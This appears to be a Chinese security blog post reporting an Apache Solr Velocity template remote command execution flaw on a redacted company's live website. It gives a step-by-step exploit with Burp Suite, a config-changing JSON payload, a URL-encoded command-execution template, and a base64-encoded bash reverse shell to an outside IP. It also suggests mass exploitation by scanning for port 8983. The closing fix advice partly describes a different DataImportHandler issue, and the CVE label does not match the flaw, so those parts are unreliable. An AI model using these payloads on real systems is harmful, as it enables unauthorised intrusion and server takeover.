@Adminxe
【互联网安全守护计划】
上海XXXXXX有限公司-XXX店 官方网站 存在Apache solr velocity模块远程命令执行漏洞
漏洞描述:
通过发送类似/节点名/config的POST请求对该节点的配置文件做更改
Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定末班,默认设置是false
当设置params.resource.loader.enabled为ture时,将允许用户通过设置请求中的参数来指定相关资源加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行
漏洞特征:
端口:8983,http,solr
路径:/solr/item/config
受影响版本 :
Apache Solr < 8.2.0
站点:https://www.xxxxx.com/
【互联网安全守护计划】
利用工具:
BurpSuite
Firefox浏览器
目标站点: https://www.XXXXX.com/
通过域名反查,可以得到存在8983端口,并且端口下存在solr
得到目标服务器地址: http://XXX.50.13.xxx:8983
solr地址: http://XXX.50.13.xxx:8983/solr
1.因为该漏洞所影响的模块可以利用外部的请求来修改,所以利用恶意的请求payload去修改配置,修改了配置过后,就导致可以执行恶意的脚本,从而发起带有恶意代码的请求。
POST形式发送poc到配置文件config,修改了配置过后,便可以带上恶意脚本的请求去发起访问了,从而导致了远程代码执行,请求路径内容如下图:
打开Burpsuit,点击用户名,抓包-send to Repeater进行config参数修改:
修改值为:
poc为:
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
访问目标主机,找到漏洞的位置,点到 core selector那个按钮,burp抓包拦截
发送到repeater,把上图请求的admin 改为item(这里注意对应的模块),后面再加config 查看是否有其配置文件,如果没有配置文件,则说明可能目标不存在这种漏洞,这也是一种检测方式?
2.GET形式,发送payload,进行命令执行,我们考虑到隐私性和安全性,设置执行命令为pwd(即查看当前位置):
payload为:
/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27pwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
反弹shell payload:
linux 反弹shell命令 bash -i >& /dev/tcp/ip/port 0>&1 (至于payload中为什么要base64编码不太清楚…)
http://ip 8983/solr/item/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMS4yMDMuMi4yMTgvMTIzNCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
可进行远程代码执行,通过nc反弹,可以getshell,故定义高危漏洞。
联系方式:
电话 xxxxxxx 006 邮箱: business_csb@bxxxxxx.com
地址: 上海市XXXXXXXXXXXXXXX
批量利用的话:
批量搜一下开了8983端口的主机或者搜关键字solr
漏洞产生原因:
Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定末班,默认设置是false
当设置params.resource.loader.enabled为ture时,将允许用户通过设置请求中的参数来指定相关资源加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行:
{ “update-queryresponsewriter”: { “startup”: “lazy”, “name”: “velocity”, “class”: “solr.VelocityResponseWriter”, “template.base.dir”: “”, “solr.resource.loader.enabled”: “true”, “params.resource.loader.enabled”: “true” }
如何修复漏洞:
1. 官方升级
从Solr的8.2.0版本开始,使用问题参数dataConfig需要将java系统属性“enable.dih.dataconfigparam”设置为true。因此用户可通过将Solr版本升级至8.2.0及以上,对此漏洞进行防护。
2.临时防护建议
1、用户也可通过配置solrconfig.xml文件,将所有DataImportHandler 固定配置项中的dataConfig参数,设置为空字符串。
2、确保网络设置只允许可信流量与Solr建立通信,尤其是与DIH请求处理器的通信。
转载请注明:Adminxe's Blog » CVE-2019-0193 Apache solr velocity模块漏洞&命令执行